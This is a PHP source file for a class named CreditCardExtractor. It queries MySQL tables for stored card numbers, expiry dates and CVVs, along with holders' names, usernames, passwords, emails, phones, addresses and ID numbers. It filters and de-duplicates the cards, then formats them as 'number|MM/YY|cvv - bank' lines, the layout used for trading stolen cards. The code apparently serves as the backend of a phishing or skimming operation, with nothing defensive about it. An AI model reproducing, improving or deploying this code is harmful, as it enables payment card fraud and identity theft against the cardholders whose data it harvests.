<?php
require_once 'config.php';

class CreditCardExtractor
{
    private $conexion;
    private $tablas;
    private $database_name;
    private $database_config;
    
    // 🚀 CACHÉ - Guardar resultados por X minutos
    private static $CACHE_DURATION = 300; // 5 minutos en segundos
    private static $CACHE_FILE = 'cache_tarjetas.json';

    public function __construct($database_name = null, $tablas_array = null)
    {
        $this->database_config = getDatabaseConfig($database_name);
        $this->database_name   = $this->database_config['name'];
        $this->conectarDB();
        $this->tablas = $tablas_array ?? $this->database_config['tablas'];
    }

    private function conectarDB()
    {
        try {
            $this->conexion = new PDO(
                "mysql:host=" . DB_HOST . ";dbname=" . $this->database_name . ";charset=utf8mb4",
                DB_USER,
                DB_PASS,
                [
                    PDO::ATTR_ERRMODE            => PDO::ERRMODE_EXCEPTION,
                    PDO::ATTR_DEFAULT_FETCH_MODE => PDO::FETCH_ASSOC,
                    PDO::MYSQL_ATTR_USE_BUFFERED_QUERY => true
                ]
            );
        } catch (PDOException $e) {
            die("Error de conexión: " . $e->getMessage());
        }
    }

    /**
     * 🚀 OPTIMIZACIÓN: Verificar caché antes de consultar DB
     */
    private function obtenerCache()
    {
        $cache_file = __DIR__ . '/' . self::$CACHE_FILE;
        
        if (file_exists($cache_file)) {
            $cache_data = json_decode(file_get_contents($cache_file), true);
            
            if ($cache_data && isset($cache_data['timestamp'])) {
                $edad = time() - $cache_data['timestamp'];
                
                if ($edad < self::$CACHE_DURATION) {
                    return $cache_data['datos'];
                }
            }
        }
        
        return null;
    }

    /**
     * 🚀 OPTIMIZACIÓN: Guardar en caché
     */
    private function guardarCache($datos)
    {
        $cache_file = __DIR__ . '/' . self::$CACHE_FILE;
        
        $cache_data = [
            'timestamp' => time(),
            'datos' => $datos
        ];
        
        file_put_contents($cache_file, json_encode($cache_data, JSON_UNESCAPED_UNICODE));
    }

    /**
     * 🚀 OPTIMIZACIÓN: Limpiar caché manualmente
     */
    public function limpiarCache()
    {
        $cache_file = __DIR__ . '/' . self::$CACHE_FILE;
        if (file_exists($cache_file)) {
            unlink($cache_file);
        }
    }

    private function tablaExiste($nombre_tabla)
    {
        try {
            $stmt = $this->conexion->prepare("SHOW TABLES LIKE ?");
            $stmt->execute([$nombre_tabla]);
            return $stmt->rowCount() > 0;
        } catch (PDOException $e) {
            return false;
        }
    }

    /**
     * Extraer datos de una tabla (SIN LÍMITE - todas las tarjetas)
     */
    private function extraerDatosTabla($nombre_tabla)
    {
        if (!$this->tablaExiste($nombre_tabla)) {
            return [];
        }

        try {
            // Obtener columnas disponibles
            $columns_stmt = $this->conexion->query("SHOW COLUMNS FROM {$nombre_tabla}");
            $available_columns = $columns_stmt->fetchAll(PDO::FETCH_COLUMN);

            $basic_columns = ['cc', 'fecha_expiracion', 'cvv', 'bankname', 'time', 'nombre', 'apellido'];
            $additional_columns = [
                'user', 'username', 'pass', 'password',
                'email', 'mail', 'phone', 'telefono', 'tel',
                'dir', 'ciudad', 'pais', 'cedula', 'nit'
            ];

            $select_columns = [];
            foreach (array_merge($basic_columns, $additional_columns) as $col) {
                if (in_array($col, $available_columns)) {
                    $select_columns[] = $col;
                }
            }

            if (empty($select_columns) || !in_array('cc', $select_columns)) {
                return [];
            }

            // ORDER BY dinámico
            $has_id = in_array('id', $available_columns);
            $has_time = in_array('time', $available_columns);
            
            $order_parts = [];
            if ($has_id) $order_parts[] = "id DESC";
            if ($has_time) $order_parts[] = "time DESC";
            $order_clause = !empty($order_parts) ? "ORDER BY " . implode(", ", $order_parts) : "";

            // SIN LIMIT - traer todas
            $sql = "SELECT " . implode(', ', $select_columns) . "
                    FROM {$nombre_tabla}
                    WHERE cc IS NOT NULL AND cc != ''
                    AND fecha_expiracion IS NOT NULL
                    AND cvv IS NOT NULL
                    {$order_clause}";

            $stmt = $this->conexion->query($sql);
            $resultados = $stmt->fetchAll();

            // Agregar tabla de origen
            foreach ($resultados as &$fila) {
                $fila['tabla_origen'] = $nombre_tabla;
            }

            return $resultados;

        } catch (PDOException $e) {
            return [];
        }
    }

    /**
     * 🚀 OPTIMIZACIÓN: Extraer con caché
     */
    public function extraerTodasLasTablas($use_cache = true)
    {
        // Intentar usar caché
        if ($use_cache) {
            $cached = $this->obtenerCache();
            if ($cached !== null) {
                return $cached;
            }
        }

        $todos_los_datos = [];

        foreach ($this->tablas as $tabla) {
            $datos = $this->extraerDatosTabla($tabla);
            if (!empty($datos)) {
                $todos_los_datos = array_merge($todos_los_datos, $datos);
            }
        }

        // Ordenar por fecha
        $resultado = $this->ordenarPorFecha($todos_los_datos);
        
        // Guardar en caché
        if ($use_cache) {
            $this->guardarCache($resultado);
        }

        return $resultado;
    }

    /**
     * 🚀 OPTIMIZACIÓN: Ordenamiento más eficiente
     */
    private function ordenarPorFecha($datos)
    {
        if (count($datos) < 2) return $datos;

        usort($datos, function ($a, $b) {
            $fecha_a = isset($a['time']) ? (is_numeric($a['time']) ? (int)$a['time'] : strtotime($a['time'])) : ($a['id'] ?? 0);
            $fecha_b = isset($b['time']) ? (is_numeric($b['time']) ? (int)$b['time'] : strtotime($b['time'])) : ($b['id'] ?? 0);
            return $fecha_b - $fecha_a;
        });

        return $datos;
    }

    /**
     * 🚀 OPTIMIZACIÓN: Formateo más rápido
     */
    public function formatearTarjetas($datos)
    {
        $tarjetas_formateadas = [];
        $tarjetas_vistas = [];

        foreach ($datos as $tarjeta) {
            $cc = preg_replace('/[^0-9]/', '', $tarjeta['cc'] ?? '');
            
            // Validación rápida de longitud
            $len = strlen($cc);
            if ($len < 13 || $len > 19) continue;

            $fecha_raw = trim($tarjeta['fecha_expiracion'] ?? '');
            
            // Normalizar fecha rápidamente
            if (strlen($fecha_raw) === 4 && ctype_digit($fecha_raw)) {
                $fecha_exp = substr($fecha_raw, 0, 2) . '/' . substr($fecha_raw, 2, 2);
            } else {
                $fecha_exp = str_replace(['|', '-'], '/', $fecha_raw);
            }

            // Validar formato MM/YY
            if (!preg_match('/^\d{2}\/\d{2}$/', $fecha_exp)) continue;

            $cvv = trim($tarjeta['cvv'] ?? '');
            $cvv_len = strlen($cvv);
            if ($cvv_len < 3 || $cvv_len > 4 || !ctype_digit($cvv)) continue;

            // Clave única para duplicados
            $clave = $cc . '|' . $fecha_exp;
            if (isset($tarjetas_vistas[$clave])) continue;
            $tarjetas_vistas[$clave] = true;

            $bankname = $this->limpiarBankname($tarjeta['bankname'] ?? '');
            $nombre = trim(($tarjeta['nombre'] ?? '') . ' ' . ($tarjeta['apellido'] ?? ''));

            $tarjetas_formateadas[] = [
                'formato'        => "{$cc}|{$fecha_exp}|{$cvv} - {$bankname}",
                'titular'        => $nombre,
                'tabla_origen'   => $tarjeta['tabla_origen'],
                'fecha_registro' => $tarjeta['time'] ?? null,
                'datos_raw'      => $tarjeta
            ];
        }

        return $tarjetas_formateadas;
    }

    private function limpiarBankname($bankname)
    {
        if (empty($bankname)) return 'Banco Desconocido';
        
        $bankname = preg_replace('/\s+/', ' ', trim($bankname));
        $bankname = preg_replace('/[\x00-\x1F\x7F]/', '', $bankname);
        
        return $bankname ?: 'Banco Desconocido';
    }

    // Métodos de utilidad
    public function getDatabaseInfo()
    {
        return [
            'name'         => $this->database_name,
            'display_name' => $this->database_config['display_name'],
            'description'  => $this->database_config['description']
        ];
    }

    public function getTablasConfig()
    {
        return $this->tablas;
    }

    // Obtener nombre de la DB (para compatibilidad)
    public function obtenerDatabaseName()
    {
        return $this->database_config['display_name'] ?? $this->database_name;
    }

    // Cerrar conexión
    public function cerrarConexion()
    {
        $this->conexion = null;
    }

    // Para debug
    public function getEstadisticas()
    {
        $stats = [];
        foreach ($this->tablas as $tabla) {
            if ($this->tablaExiste($tabla)) {
                try {
                    $stmt = $this->conexion->query("SELECT COUNT(*) as total FROM {$tabla} WHERE cc IS NOT NULL AND cc != ''");
                    $stats[$tabla] = $stmt->fetch()['total'] ?? 0;
                } catch (Exception $e) {
                    $stats[$tabla] = 'Error';
                }
            } else {
                $stats[$tabla] = 'No existe';
            }
        }
        return $stats;
    }
}
?>
